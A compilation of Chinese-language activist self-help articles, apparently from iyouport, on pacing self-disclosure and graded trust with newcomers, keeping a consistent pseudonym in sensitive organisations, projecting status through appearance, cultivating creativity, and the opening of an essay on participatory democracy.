这并非是在赞美间谍的工作方式，而是说，这应该是个原则，关于：信任分级。并没有绝对的信任和不信任，也没有固定不变的等级，一切都是动态的，衡量在每时每刻进行着。

那么，如何面对初识者？可以给予多少信任？这就是本文希望解释的问题。

这可能是个棘手的问题。

一方面，研究表明，更多地揭示自己的人比被更谨慎的人更容易被对方喜欢。公开个人信息会告诉对方您信任他们，重视他们的观点，并希望与他们更接近。正如我们反复讨论的那样，兴趣是对等的。通过向别人显示您对他们的兴趣，他们更有可能对您感兴趣。

一点保留和超然的态度最初可能会引起好奇，并被视为神秘而诱人。但是最终，您的沉默会被看作是冷漠，缺乏兴趣或想要隐藏自己 —— 无论这是一个不愉快的特征，还是仅仅是您没有什么可展示的事实。

第一印象很重要，您肯定不希望错过未来才能发现最有价值的合作者。

人们想知道你是谁；他们无法与陌生人建立情感联系。亲密关系会激发兴奋（从几乎所有角度来看都是如此），如果没有化学反应就不可能了。

如果您不能在一定程度上放松警惕，新的相识者和潜在的合作者或恋人将被推远或感到无聊，或两者兼而有之。

因此，自我披露是颇具价值的，对于建立人们的兴趣和亲密关系至关重要。

但是，另一方面 …… 您一定读到过我们在 “社交工程” 栏目中演示的那些可怕的案例，其中攻击者用诱导的操纵手段以获取您的私密信息，并借此打击您和您的组织。

另一方面，公开太多可能并没有吸引力，并且其本身就令人反感。每个人都熟悉 “过度共享” 一词 …… 那么，如何避免陷阱？

接下来将讨论一些简单的原则来平衡自披露的微妙动态。

自披露原则1：保持披露内容对称

「图」

这是共享个人信息时要牢记的首要原则。披露应互惠；您应该以与他人相同的速率和强度来揭示有关您自己的事物。

就如《First Impressions》的作者用脱衣扑克游戏做类比：您不想光着身子坐在那里，而其他所有人都穿着衣服。

以下两个原则将帮助您了解如何保持披露对称。

自我披露原则2：逐步深化会话交流

「图」

交流专家 Alan Garner 曾经概述过让对话进行并变得更加有意义和重要的四个阶段：

- 陈词滥调。这些社交礼仪虽然意义不大，但却可以促进互动：“嗨，你好吗？” 很高兴认识你。”
- 事实。人们交换基本信息。他们来自哪里，他们的工作是什么

等等。正如 Garner 指出的那样，在这个阶段，“彼此双方都在试图找出是否有足够的分享可以引导出一段值得建立的关系。”
- 意见。一旦人们彼此了解一点了，就开始介绍自己对时事、体育、金钱、爱情等常规议题的看法。
- 感觉。Garner 说：“感觉与事实和观点不同，因为它们不仅可以描述发生的事以及您如何看待发生的事，还可以传达对发生的事的情感反应。”仅仅分享事实和观点会使对话相对肤浅而干硬。感情则揭示了您的内心，而这才是真正使人们产生兴趣和关注的东西。

“感觉”可能是谈话中最有效的方法，但是您肯定不想跳过前面的部分就直接分享感觉。因为这样做通常会导致暴露一个人缺乏自我意识，并招致“哇！真是太棒了！”类似的上堆式回应，也就是难以持续对话。

相反，您应该逐步完成每个阶段，从较浅的闲聊到较深的交谈，以此来建立起一个过渡。从轻到重，从平凡到深刻，从中性到来电 ……

您如何知道什么时候该开始，或者另一个人何时准备从一个阶段转到下一个阶段？

掌握这样的动态能够帮助您掌握控制谈话节奏的诀窍：如果您意识到自己正在和一个您不想进一步了解的人谈话，并希望尽快脱离，您可以通过保持浅尝辄止的方式来踩刹车，除了交换事实之外，不要有太多的进展；但是，如果您对这个人很有好感，想和他更加亲近，就可以稍微加快您的上坡路。

在后一种情况下，当您认为自己已经在其中一个阶段花了足够的时间时，可以披露下一个阶段的一些东西，作为一种试探性动作，看看对方是否做出了类似的回应。

例如，如果您一直在交换事实，就第一个提出意见；如果对方提出意见作为回报，那么您就可以在这个阶段花一些时间了。

不过，如果对方没有做出回应，而是坚持分享事实，那就继续在这个阶段多呆一段时间，然后再送上另一个试探。

自公开原则 #3：积极主动地领导

「图」

由于披露才能产生亲密关系，所以很多人可能很想一开始就分享沉重的问题 —— 抑郁症、过去的分手烦恼、虐待史、财务问题等等 —— 以某种方式启动结合过程。

但即使在您第一次进入分享您的意见和感受时，您最初也应该将这些披露保持在一个更积极的轨道上。

负面情绪是一种社会流行病。您必须建立一个积极的背景和兴趣的支架，然后关系才会准备好承受黑暗负担的重量。

如果在这个支架构成之前您提出沉重的问题，就像把一个保龄球放在蜘蛛网上 …… 尤其是，当您是组织负责人或老成员时，保持积极的精神状态才能为新人带来激励。

自我披露原则4：平衡问题和评论

「图」

请随时记得，您不是被动的。向某人提出更多的问题是表达兴趣、表现魅力和建立融洽关系的有效方法。

提出很多问题也让您有机会控制对话 —— 这很可能是件好事。如果您对社交很有信心，可以帮助把害羞的人从他们的保护壳中吸引出来，甚至把讨论引向您个人感兴趣的话题（当然，理想的情况是，您应该寻求谈论你们双方都感兴趣的话题）。

但接二连三地提出问题也是一种避免透露您自己的信息更多暴露的方式。这可能会显得您控制欲太强，让人觉得您有什么要隐瞒的，或者自己没有什么有趣的东西可以分享。

虽然错误地提出太多问题与谈论太多关于自己的问题都可能不是好事，但谈话最好是像排球游戏而不是审问，您也应该允许对方向您提问。

当然，并不是每个人都会这样做，即使有机会，也不是因为害羞就是谈话自恋，但至少在谈话中加入自己的评论和观察，给对方一个专注的倾听者印象，对拉近关系很有好处。

评估您是否在过多和过少的自我披露之间取得了平衡的一个好方法是，在互动结束时问自己：“我对对方的了解和他们对我的了解一样多吗？”

如果答案是否定的，那么您要么是说得太多，没有向对方提出足够的问题，要么是您问了太多的问题，对自己的分享不够。下一次重新调整您的自我披露速度，目标是让彼此间形成更加平均的动态。

自我披露原则5：不要吹嘘，即便您说言属实

「图」

人们总是认为“地位越高，越具有吸引力”，于是往往喜欢将自己的优势摆在前面。比如 读过哪家常春藤名校、得过什么大奖、去过多少个国家旅行、会多少门外语、在哪个大企业做负责人 ……

这些可能都是真实的自我描述，您的确很有实力。但是需要知道，吹嘘是不会讨喜的，您的优势应该被对方去 **发现**，而不是您来描述。

所以，建议您尝试以更加微妙的方式传达您的自我披露议程。

您可以通过交流具体的议题展现您的知识含量，通过故事来描述异国的文化，甚至通过高端的绅士举止来展现您的身份，逐渐渗透对方对您的了解。

另一种不太巧妙的自我披露方法是，在对事物的描述/解释中添加不必要的细节。比如，对于“您是否经常出差工作？”这个问题，回答成这样：“是啊，最近三个月我去过巴厘岛、伦敦、莫斯科和格陵兰岛。我总是被要求与世界各地的公司首席执行官会面。实际上，我上周刚认识***大腕。”

虽然可以提出“回旋镖问题”并以一种微妙的方式添加讨人喜欢的细节，但实际上，如果您说得太多了，效果会完全相反。它只能显示您的不安全感，从而降低了您试图证明的身份。

自我披露原则6：不要让自己显得无所不知

「图」

您也许真的非常博学，并且见多识广，也或许您很擅长用主持人的模式控制对话，但是当您与对方不太熟悉的情况下，请注意这点：您不应该让自己看起来无所不知。

您知道我们每个人都有自己最擅长的领域，如果您的最擅长恰好与对

话的另一方的擅长具有很高的重合率，理论上这是一件幸事，它意味着你们之间将有更多话题可聊，关系会能够迅速拉近。

但是，这这种情况下尤其是要注意，您不应该抢话，而是要努力让对话节奏保持在对等 —— 如果您回答了2个问题，那么下面的2个问题就应该让给对方来回答，您作为提问者，尽管您知道答案是什么。

如果对方滔滔不绝，您也可以在适当的时候插入自己的意见，最好以问题的方式，从而引导对话回归对等的节奏。

即便您是组织领导者，也需要这样做，甚至需要更多地让渡回答权给对方；让对方感觉在您这里获得了被重视的兴奋。每个人都喜欢自己被重视，而您很容易就可以为对方制造这样的感觉，也许您会因此获得一个很积极的合作伙伴。

假身份

「图」

如果您必须使用假身份，那就应该从始至终使用同一套完整的假身份。您必需牢记它，切勿前后矛盾，一旦对方产生怀疑，结果很可能对您不利 —— 如果对方原本是恶意的，您的疏忽会打草惊蛇；如果对方非恶意就更麻烦了，您将很难再与对方构建互信。

我们绝对不会建议您使用全套假身份 ，除非您是调查记者，正在卧底。当然，如果是这样，您肯定已经知道该怎么做。

这里需要强调的是分身。在从事敏感的工作中您需要有一套独立的私人身份概况，这个概况不应该与您的任何真实身份重叠 —— 包括兴趣爱好和审美品位、求学经历和工作经历。

也就是说，作为敏感组织的领导人或参与者，您创建假身份目的应该仅仅是为了便于彼此间的对话和合作，而不是瞒骗 —— 这非常重要。

您的想法、立场、出谋划策的智慧，必须都是完全真诚的；简单说，您在工作/合作中所展示的一切都应该是完全真诚的，除了您的名字和家庭背景之外。这就是原则。

遮遮掩掩绝不会帮您构建任何好的合作关系。真正的合作者也不会过度关心您的个人私事，而是关注您的能力和特长如何协调组织工作的

顺利进行。在这样的情况下，您的自我介绍应该只是为了帮助构建彼此间的熟悉。

如果有其他人对您的私人信息感兴趣，也不必马上竖起红旗，要知道聊些私事的确是一些人表达亲切感的常用方法，但是您心里应该始终有一个界限：有必要说什么和没必要说什么。当对方的提问触及“没必要”的部分时，您随时可以礼貌地转移话题。如上，控制对话的节奏对您来说会很有利。

我们此前发布的关于线人渗透政治活动和组织的系列收到了很多反响，该系列中列举的基本是完整的渗透战术，足够帮助您识别。

- 《过去和现在的线人：政治渗透是如何操作的？（1）》
- 《针对反抗运动的政治渗透：政府线人如何操作（2）》
- 《渗透破坏、分裂和误导在抗议活动中广泛存在：政治渗透如何操作（3）》
- 《警察渗透抗议运动简史》

在这点上，您应该特别关注“社交工程”系列，其中介绍的所有手段都可以帮助您检验对方是否有渗透操纵的目的。

不论是急切的还是长线钓鱼模式的，每一个渗透者都会带着明确的目的而来，如果您发现一个新人带有明显的目的性，而不是自我能力的展示性，您应该小心，因为这不符合人的心理常态。

在这种情况下您首先应该做的是为其分配低权限的知情等级，就如本文一开始所介绍的，然后继续观察。请注意，要保持谦逊的心态，不要被自己的第一印象所误导，因为您可能随时会发现事情并非如此；万一您的第一印象有误，您的下意识心理排斥所表现出的举止会造成对组织不利的影响。

低知情权限并不意味着看起来不团结。团结协作的融洽气氛并不仅仅展示给您认为可疑的某个人，而是对所有参与者来说都是如此。作为领导者，您应该随时记得这点，这事关您的组织能力。

一些可以帮助您改善身份外观的小建议

「图」

提到“身份”这个词也许人们会首先想到阶层地位，其实这是个误解。身份不仅包含财富，还可以包含其他任何东西 —— 可以为他人

提供某种价值的东西。它可以与您的品貌、技能、健康状况、智力、洞察力、创造力、个性特征、社交关系，甚至是查找和共享信息的能力相关联。

简单说，地位和收益的损失不仅体现在一个人的银行账户上，也体现在 —— 人们是否会回应您的笑话、是否赞美您的外表、是否邀请您参加聚会、是否对您表达羡慕、是否向您寻求建议 …… 等等，上千种方式。

在当今世界，有许多不同的群体，每个群体都有自己的价值观和地位标准。但是，还有一系列在时间和文化上几乎普遍享有的标准。培养这些特质，无论您身在何处，无论做什么都可以提高您的地位感，并有助于增加您在社区组织和更广阔世界中的整体影响力。

这些特征构成了地位的基本基础，因此，即使您最终没有在任何一个特定的利基市场中脱颖而出，您仍然会感受到健康、拥有强大的社会支持、以及干练的能力发挥。

毫无疑问，就您自己的自我价值和他人对您的评价而言，您的内在技能和特质应该是最重要的。但是，如果您的外观和肢体语言一开始就没有吸引他们，那么人们可能永远不会了解这些看不见的特质。

通过增强外观和肢体语言，您可以与人们的基本兴趣点打交道，而不是与它们对抗，从而使人们更容易了解您。这一举动既要自我服务，又要慷慨大方。

目标仅仅是让您的 “包装” 准确并成功地宣传您的内涵。将您的外表和举止视作为您的内在人提供无缝的展现门户。

其实做起来并不那么难。

1、穿上适合您的衣服。

「图」

即使您拥有优美的形体，衣服也是非常重要的，并且在人们如何看待您方面起着至关重要的作用。

因此，如果您身体健康，那么可以穿上可以增强身材的视觉效果的衣服；如果身体状况不佳，您需要找到可以淡化弱点并改善整体外观的服饰。

不论是运动外套还是您穿的其他衣服，合体性都是非常重要的。指导原则是，织物应紧贴皮肤而不会挤压或收缩。到处走动时，您不应感到被拉扯，但也不应有任何松动下垂的感觉。西装和衬衫应量身定制，以使其在您的腰部勾勒轮廓，能充分显示您的气质。

如果您超重，但正在努力让自己保持健康，那么健身就显得尤为重要。但是如果穿着合适的衣服，您可以钝化这些不良状态信号。

2、照顾基本的卫生和修饰。

「图」

保持基本的容貌和卫生状况可以大大改善您的身体状况。真的，它不仅能给您健康和活力的面貌，而且还能体现您的尽职尽责，这是几乎每个人都珍视的特质。

其实非常简单，只需执行小时候妈妈教给您的东西即可：每天洗澡、刷牙、用牙线清洁、淡雅体香，并保持面部毛发整齐。头皮屑、粉刺等问题虽然看起来不起眼，但都会在整体上影响您的身份表达。需要注意并妥善处理。

3、改善姿势。

「图」

中文里面有个词语“仪态”，这个词出现的地方往往很传统和教条，它与某些礼仪密切相关。但我们这里谈到的姿态与此不同，它不仅仅关乎礼仪，更关于您的自我表达。

您的肢体语言在传达您的地位方面起了很大作用。

如果一个人认为自己的地位很低，就通常会采取一种顺从的姿势，例如弓背或低头。如果您看起来很低落，其他人就会认为您很低落。

因此，请抬起下巴挺直背部（不要抬得太高，否则会显得自大）。

4、握手要牢固。

「图」

握手是体现身份的另一种形式，坚定的握手与主导地位和自信有关。

软弱的握手充满顺从性和不确定性。

如果您想传达身份地位感，就需要有力地、大方地、充满自信地握手。但是，请不要抓得过牢。下面这些您应该避免 ……

5、说话低声，语速稍微拉低。

「图」

说话音调较低的人被认为比说话音调较高的人具有更高的涵养。一项研究发现，阶层和语调之间存在相关性，声音越低，地位越高。

实际上研究人员发现，音调降低25％就能使地位感明显抬升。大自然决定了您是否拥有优美的嗓音，但您可以做一些简单的事来加深和改善声音的魅力。

有修养的人说话也比较慢，并且不会担心沉默。如果说话速度很快、急于填补任何安静的时刻，都会让您显得紧张和缺乏安全感。

其实很容易改善这点，只需要做到仅在您有话要说的时候才讲话。

6、与对方交谈时要看着对方的眼睛。

「图」

研究表明，频繁地进行眼神交流的人们被认为具有更高的自信和实力、更高的地位和风度。不自信的人会下意识地减少眼神交流，通常会最先避免注视。

对于社交焦虑症来说，这可能是具有挑战性的，但是通过实践，您很快就会能克服恐惧。

请确保正确的、平等感的、体贴的眼神交流，绝不是审判式的，不是死盯着对方，更不是挑逗。这也许听起来很微妙，您或许觉得难以控制？其实并不难，您无需控制眼睛，只要调整自己的心态到正确的位置，眼神就会自然表达出成熟稳重的魅力。

7、地位感绝非霸道。

「图」

霸气的方式真的有可能令您在短时间内获得统治地位，但是，从长远看来，您肯定会失去同龄人的尊重。没有人喜欢被欺负，您也绝对不会期待自己的队友表现出臣服。

拥有能够帮助社会群体的才能和技能的人才能获得长期的尊重和地位，最重要的是，愿意为同龄人的利益分享这些才能和技能。慷慨才能构建稳固的身份。

5-羟色胺使人感到镇定、社交欲望和控制感。血清素水平随着人的一种状态而增加，并随着另一种状态而下降。因此，经常遭遇身份失败的人血清素水平可能很低，这会导致敌对行为，而敌对和攻击性只会令一个人的地位低下保持更长的时间。这是一个自欺欺人的循环。

但是这一循环是完全可以被打破的。研究表明，可以通过训练自己，将注意力转移到自己和同等地位的人身上，并开始专注于如何让自己对他人有用。

好了，基本就是这样！希望能帮到您。〇

1. 行动技巧 (5)

原文

（5）如何释放隐藏的创造力 - iyouport

心理学和社会学行动技巧、战术和原理

（2020年10月20日存档）任何人都可以学习创造力。但并不是说它很容易获得，发掘您的创造才能需要勇气和大量的实践。

创造力是产生新颖的、高质量的、适宜的工作的能力。创造力的涉及范围非常广，不论是个人层面还是社会层面，创造力对完成各种各样的任务来说都具有重要意义。

我们多次强调过，创造力是反抗运动的 *基本功* 之一。您不能依赖于照搬前人的成功经验，因为每一种行动策略一旦被实施，相应的维稳策略都诞生了。镇压者不可能允许自己两次栽在同一个坑里。

所以，前人的智慧应该给您带来的是灵感，您必须发挥自己的创造力——比维稳者多想一步，想到你的对手还没想到的部分，您就能获得胜利。

不用担心，作为行动者，您肯定能比维稳机构的效率更高，因为维稳机构是集体主义思维方式，他们尊重的是等级制、服从命令和效忠，而非创造力，所以您的对手不一定能跟得上您的步伐和灵活性。

- 这里有具体分析《Covid-19 与民主的未来：个人主义和集体主义之间真的需要非此即彼吗？》

不仅在这方面，创造力几乎在工作生活中的每一个部分发挥作用，您肯定知道一个好点子值多少钱。

无论您是世界领导者、高级管理人员还是客服代表，要想有效地完成工作，都需要创新的解决方案来解决棘手的问题。

创造力并非多读书和努力工作就能得到的，它是一种巧妙的思考方式，但的确可以通过一些有意识的训练来培养和加强。

本文将介绍一些您日常就可以做到的小技巧，以培养创造力灵感。

整理思路

「图」

日本的整理专家 Marie Kondo 近年来已经红遍了欧洲，主要是她的极简主义精神，她曾经说过：我们买了太多的东西，其中绝大多数东西并无助于改善我们的生活。

她提醒人们去问自己一个关键的问题：“那些东西真的有用吗？如果没有，扔掉它！”

这是一个很重要的思考方式 —— 尤其是对于我们这些每天都被泡在互联网上，被各种各样的信息消防栓冲击的人们。请问自己这个问题：

“您读到的所有内容都真的有用吗？值得反复研究吗？如果没有，扔掉它！别再浪费自己的时间了”。

📌 通过我们的 “开源情报” 栏目，您肯定已经学到了很多寻求想要的信息的方法，您应该将使用这些工具作为基本习惯，瞄准自己最需要的信息，而不是伸开手臂任凭互联网信息消防栓的冲击。

每天规定自己断开互联网连接几个小时，关闭手机和电脑，进入自己的世界。任何灵感都来自于您自己的世界，这是您消除生活中许多压倒性干扰的关键方法，找到空间以传达自己的声音和视野。

- 详细分析见《特立独行的结果 …… 不合群有什么好处？》
- 《如何独处》

社交网络的确是一个刺激的环境，而且从不停息，人们把手机带到洗手间里、在飞机上都使用Wi-Fi，结果就是，您几乎从来都不会用到自己的想法 —— 您始终都在消费别人的想法。

这种情况不仅令心理操纵轻而易举，并且，它会扼杀绝大多数创造力。

这就是为什么您总是看到陈词滥调、老旧的话题、没有任何突破性的评论，而这些平庸的内容反而获得了最高的点击量 —— 因为大众不想动脑筋，他们只会喜欢那些自己能看懂的东西。

简单说，社交媒体是扼杀创造力的。

人们担心离开社交媒体会被无聊淹没，但无聊的时间恰恰是您开始接触驱动创造力的联系的地方。

德克萨斯农工大学的心理学家 Heather Lench 将无聊描述为 “寻求状态”：如果不积极寻求新概念、改进方法和与世界互动的方式，那么就不会有创新的过程出现。

社交媒体不完全是坏的东西，它可以给您一个窗口，去观察周边的世界。请注意，这里的要点是 “观察”，观察和拍照完全不同，观察并非事无巨细地捕捉表面现象，而是，您需要从中得出 *自己的* 结论—有益于改善、提升和具备可操作性的结论。

Harvard Business Review 的研究指出，让您的思想徘徊并保持思想平静可以带来突破性的见解。但是要做到这一点，您必须愿意放慢脚步，拒绝任何竞争意识的影响。

这并非易事，尤其是在越来越多的互动是虚拟的、并且越来越多的消费是被动的而非参与的时代里，您需要主动的有意识地为自己创建一片自我空间。

不要仅仅是消费信息，社交媒体应该被用来交流彼此的想法。对话可以激发灵感或帮助使好主意变得更好。

但是请注意，对话的关键是倾听，而非表达；单纯的表达是自说自话的，并没有帮助。社交媒体鼓励自说自话，在这里极少有人愿意去听取别人说了什么。所以，您需要的是社区，是面对面地交流。

- 《讨论的终结》
- 《交流出现了什么问题（上）为什么总是难以说服他人？》
- 《交流出现了什么问题（中）网络舆论场的交流障碍和解决办法》
- 《交流出现了什么问题（下）来，实现沟通》

您应该非常小心，社交网络的虚拟对话是个圈套，长此以往它会改变您在现实中的思考方式，令协作不再可能。

- 《直接行动的关键在于协作，但协作的能力并非天生》

📌 “开源情报” 是对创造力的最好锻炼方式。因为创造力的激发需要您的专注 —— 将一切努力都聚焦在您当下的目标上。而这种思考方

式恰恰是开源情报所规范的。

如上所述，互联网是一个工具，它能给您大多数您需要的信息，但前提是：您必须首先知道自己需要什么，以满足自己的需求为目标去寻找信息，而非任由完全无关的信息淹没您的时间和精力。

7个小技巧

「图」

1、看到希望

「图」

已经有很多研究表明，相对乐观的人更容易进行更广泛的思考，并释放宝贵的精神资源来探索新颖的想法。

这不是没有道理的。当一个人陷在虚无和无助的精神状况下，无疑会严重限制其智力的发挥。

要学会给自己减压，压力状况下您的智慧会被焦虑所冲淡；无论是“在灾难中幸存”、还是“完美隐身”系列，我们都有强调冷静，慌张会导致忘记已经学习过的防御技巧。只有快速冷静下来您才能找到解决方案。

2、别那么井井有条

「图」

想要产生新颖的想法吗？那就要避免在空桌子上工作。

2013年，明尼苏达大学的研究人员随机分配了志愿者在干净的或凌乱的房间里工作。然后对参与者进行了一项评估创造力的测试。结果令人震惊。在混乱的环境中工作的人产生的创意几乎是另一方的五倍。

凌乱的办公桌会增强您的创造力吗？根据创造力专家 David Burkus 的说法，一个原因是，混乱的环境会迫使人考虑看似无关的想法，从而使组合出新想法的可能性更高。

富有创造力的天才 Albert Einstein 早在1950年代就发现过这点。当被问及为什么他的办公室看上去混乱无序时，他提出了一个问

题：“如果桌子凌乱表明头脑混乱，那我们会如何看待空桌子呢？”

3、去咖啡店

「图」

并不是说咖啡因会有什么帮助。一个伊利诺伊大学的研究发现，咖啡馆的环境噪声能防止人过于关注自己的思想，并保持在一个较高层次的思维上。换句话说，如果您想关注大局，去咖啡店可以有帮助。

如果您忙得离不开办公桌，社会学家 Tracy Brower 推荐了一个小工具 Coffitivity，这是一个免费网站，可让您沉浸在咖啡馆的喧嚣中，而无需离开办公桌。

4、与您所在领域以外的人交往

「图」

创意性解决方案很少会自动出现。而当您以令人惊讶的方式将两个或多个现有想法结合在一起时，它们就会出现。

您消耗的想法越多，越有可能偶然发现创造性的解决方案。

增加创意输出的一种方法是，有策略地让自己接触新朋友和新观点。

作家 Todd Henry 建议组建一个由 5～7 名来自不同背景的人组成的圈子，每月开会一次。

如果证明每月预约太难了，还可以考虑去选择那些您平时很少会阅读的书，或者去看一部平时不会选择的电影。两者都可以使您接触到新的思维方式。

5、保留不完整

「图」

在处理具有挑战性的项目时，人们通常会力求快速完成，以便可以继续进行清单中的下一个项目。但是，心理学家 Adam Grant 认为，当您故意放慢需要洞察力的任务时，会更具创造力。

与其试图一次性完成一项重要任务，倒不如让它不完整。这样做会鼓

励您在办公室外继续考虑该问题，并在此过程中使您更有可能找到意想不到的连接。

6、有意识地安排一些独处的时间

「图」

有没有想过，为什么许多人在淋浴的时候、商务旅行的时候、或通勤期间会得到最好的想法？心理学家 Scott Barry Kaufman 认为，要发挥创造力，就需要花些时间保持独处。

详细分析见上面关联的文章。

7、午餐前去跑步

「图」

一谈到运动，人们想到的往往是健身和减肥。但是研究表明，锻炼最大的好处之一就是对思维方式的影响。现在有确凿的证据表明，锻炼可以激发创造性的洞察力，部分原因在于锻炼可以提高情绪敏感性并提供新的思维方式。

社会学家 Christine Carter 建议利用这种见解，下次您感觉思路卡住时，在办公室里走15分钟。Carter 自己在需要创意火花时就在办公室使用跑步机，灵感来了就停止。

创造性的5个阶段

「图」

1940年，一位名叫 James Webb Young 的广告主管发布了一个简短的指南，标题为 “一种产生思想的技术”。他对产生创意提出了一个简单的陈述。

他指出，当您开发旧元素的新组合时，就会产生创新的想法。换句话说，创造性思维不是要从一片空白中产生新的东西，而是要拿走已经存在的东西并以以前从未有过的方式将这些点点滴滴组合起来。

最重要的是，生成新组合的能力取决于您查看概念之间关系的能力。如果您可以在两个旧想法之间建立新的链接，那么您已经做了一些创造性的工作。

Young 认为，这种创造性的联系过程总是分五个步骤进行。# 收集新材料。首先您需要学习。在此阶段您将专注于学习与您的任务直接相关的特定材料，以及搜集和学习各种常规材料。

- 彻底研究您脑海中的材料。在此阶段您将通过从不同角度查看事实并尝试将各种想法融合在一起。
- 远离问题。接下来将问题完全抛诸脑后，去做其他可以激发您活力的事。
- 让想法重新回来。只有在您停止思考之后，想法才会以洞察力和新的活力形式闪现。
- 根据反馈来塑造和发展您的想法。为了使任何想法成功，您必须将其发布出来，使其受到批评，并根据需要进行调整。

1. 能看到可达到的目标并能够实现它们

- 善于辨别正确的答案和错误的答案
- 具有很好的解决问题的能力
- 具有改变方向另辟捷径的能力
- 理性：清晰的推理能力
- 将知识运用于解决具体问题的能力
- 能够以独特的视角看待某一问题或情境，以解决它的能力
- 思维富有逻辑性

1. 几乎对任何话题都能进行交谈

- 重视想法和观点
- 好奇
- 大量的钻研和阅读
- 有丰富的词汇
- 能准确表达大量概念
- 有很好的语言驾驭能力
- 有大量的信息储备
- 重视有理有据的观点

1. 具有识别相似与差异的能力

- 能在想法与具体事物之间建立联系，并能够做出区分
- 能够听取各方面的意见（不会固执己见）
- 能够掌握抽象的观念并能够专注于这些观念
- 有很强的理解能力
- 具有整合信息的能力

- 能够驾驭复杂的情境

1. 为达到具体目的而获取并使用信息

- 具有获得高成就的能力
- 善于选择信息，特别是一些细节点
- 有达成目标的动机
- 从小对待事物就有追根究底的精神
- 能够看到机会并知道该如何抓住最好的时机

1. 从过去的成功和失败中总结经验教训并获得提升的能力

- 能够准确理解并解释自己所处的环境
- 能够更清楚地知道周围正在发生着什么

1. 对数学和/或空间的掌握非常好；

- 思维敏捷

1. 边做事边制定规则

- 有冲劲
- 敢冒险，但绝不是无准备地冒险
- 喜欢挑战自己，试着去做别人认为不可能的事
- 情感丰富
- 崇尚精神的自由
- 喜欢幻想
- 不喜欢墨守成规
- 非正统的

1. 能在观点和具体事物之间建立联系、并做出区分

- 有能力理解并解释周围环境
- 有能力识别相似性和差异
- 能掌握抽象的观点并专注于这些观点
- 做事富有成效
- 重视观点
- 有能力取得高成就
- 勤于思考
- 能够把旧的信息、理论等以新的方式整合在一起

1. 具有对音乐、艺术等的欣赏能力

- 在创造一些新东西时喜欢独处
- 可以写、画和谱曲
- 有很好的品味
- 善于运用周围事物创造出独特的东西
- 富有想象力

1. 在权衡了赞成意见与反对意见后，根据自己的判断做出决定

- 有能力改变方向并改变方法

1. 善于对社会规则、公认的真理、和假设，提出质疑

- 有理解力
- 愿意表明立场

1. 有达成目标的动机

- 喜欢自己的工作得到称赞
- 精力充沛
- 富有幽默感

1. 从小就喜欢刨根问底

- 喜欢钻研

1. 具有敏锐的直觉能力
2. 能以独特的视角看待某一问题或情境并解决它

- 具有良好的解决问题的能力
- 思维富有逻辑性
- 善于区分正确和错误的答案
- 能够将知识运用于解决个别问题
- 能够把旧的信息、理论等以新的方式整合在一起
- 有大量的信息储备
- 能够识别相似性和差异
- 具有理性：能够进行清晰的推理
- 能够在观念和事物之间建立联系并做出区分

1. 表现出对别人的关切

- 会考虑别人的建议
- 通过与形形色色的人的交往去了解他人

- 感觉自己可以从他人身上学到东西
- 了解自己
- 考虑周到
- 公平
- 善于倾听
- 不怕承认错误，愿意改正错误、学习和进步
- 善于倾听各方的意见

1. 重视观点

- 有理解力
- 从他人的错误中获得自己的学习

1. 在自己的身体和智力限度内活动

- 具有良好的判断力
- 三思而后行
- 具有长远的眼光（绝不会急功近利）
- 想好再说
- 思维清晰

1. 经验丰富

- 能挑选出信息，尤其是细节
- 心智成熟有经验
- 能从过去的成功和失败中获得学习和进步
- 能在经验的基础上改变想法

1. 有直觉力

- 能站在正确的和事实的一边提出解决问题的方案
- 能够看透事物 —— 看出字里行间的意思
- 能够理解并解释自己所处的环境

比如，“从过去的成功和失败中总结经验教训并获得提升的能力”，这指的是包括从前人的经验中获得学习的能力，比如对64的评估，能够着眼于“如何在下一次获得胜利”，而不仅仅是对过往痛不欲生。

再比如，“能够准确理解并解释自己所处的环境”，这里的关键字是“准确”。如果在遇到几个愚蠢的回复后就得出“整个社会没救了”的结论，那只能说明尚且不具备准确理解的能力。

“能够知道周围正在发生着什么”，就如今年的全球性反抗运动，您发现一个新的格局正在萌芽吗？

……

据此，您会能了解到自己的强项和弱项，也能够知道他人的强项，并找到机会寻求合作。〇

1. 行动技巧 (6)

原文

（8）如何创建真正的民主 - iyouport

社会反抗和思考行动技巧、战术和原理

（2020年8月27日存档）民主是一条路，而非终点站；这条路也许永无止境，正因此充满了不断探索的兴奋和前进的希冀

对于大多数人来说，民主只不过是定期投票要求他人代表我们做出决定。在这种代议制民主制度下，公民被告知：最大的爱国义务就是投票。

公民被告知。无论输赢，我们 “都应该接受民选和其他政府官员正在竭尽全力代表我们”。

- 《投票可能正是民主的问题》

然而，公民一次又一次地看到，那些被选出来的人仅代表着自己的利益、大公司的利益、以及比他们自己更富有的1%的利益。资本主义制度私人积累财富所产生的巨大不平等现象通过这种所谓的民主得以再现。

有人告诉你，作为公民你的义务是选出更好的候选人，和/或参加被允许的抗议活动，以引起政客的注意。公民们还被告知，参加政府主办的各种听证会以及社区会议，可以表达愤怒并提出想法 —— 仅作为释放压力的阀门。

人民没有真正的决策权。最后，当选者及其技术官僚顾问是唯一被认为有能力作出 “明智决策” 的人，被认为是 “做正确的事 “的英雄。即使是公投，也只能让公民表达自己的政策倾向，并没有带来根本性的改变。

现在是谈论民主的时候了—— 不仅在我们的国家，而且在我们的组织、我们的社区，甚至在我们的家庭里，都应该谈论民主。

我们可以谈论所有那些有缺陷的民主的浅薄和腐败；但是，我们更应

该谈论如何在旧有的外壳中建设新的东西 —— 如何才能建设有意义和公平的民主进程，真正为所有人创造自由和自主？

让我们谈谈民主，作为实现摆脱等级制和压迫的手段。

让我们谈谈民主是克服暴力和环境破坏的过程，以及我们发现自己深陷其中的所有问题。

让我们将民主视为永无止境的 “终点”，这一过程始终是不完整的，但要确保广泛而深入的审议才能做出正确的决定。

什么是民主

「图」

> Nothing about us, without us.

在去年上映的纪录片《什么是民主》中，占领华尔街活动家 Astra Taylor 解释了她为什么选择不以流行的 “占领 “口号 “民主就是这样的” 来命名这部电影的原因。她选择了这个问题本身，而不是答案，因为没有明确的公式或标准来称呼某事为 “民主”。

- 在这里看到这部纪录片的介绍和片段《什么是民主》

民主看起来就像是街头抗议，任何人都在高呼；看起来像是工会投票组织罢工；看起来像是一位长者发表的冗长的演讲，解释了社区创立的价值；也可能像是地方代表召集建立主要运动策略的地方。

就如什么是美什么是丑一样，在某种程度上，你在看到它时就会知道它，而在感觉到它时就会知道它。更重要的是，我们知道什么时候不正确，我们可以对此做些事。

民主从字面上意味着由人民统治，但是人民是谁，以及他们如何统治，必须由同一群人确定。

尽管这个想法引起了共鸣，但历史上并没有最伟大的故事可以讲述被称为民主国家的政府。

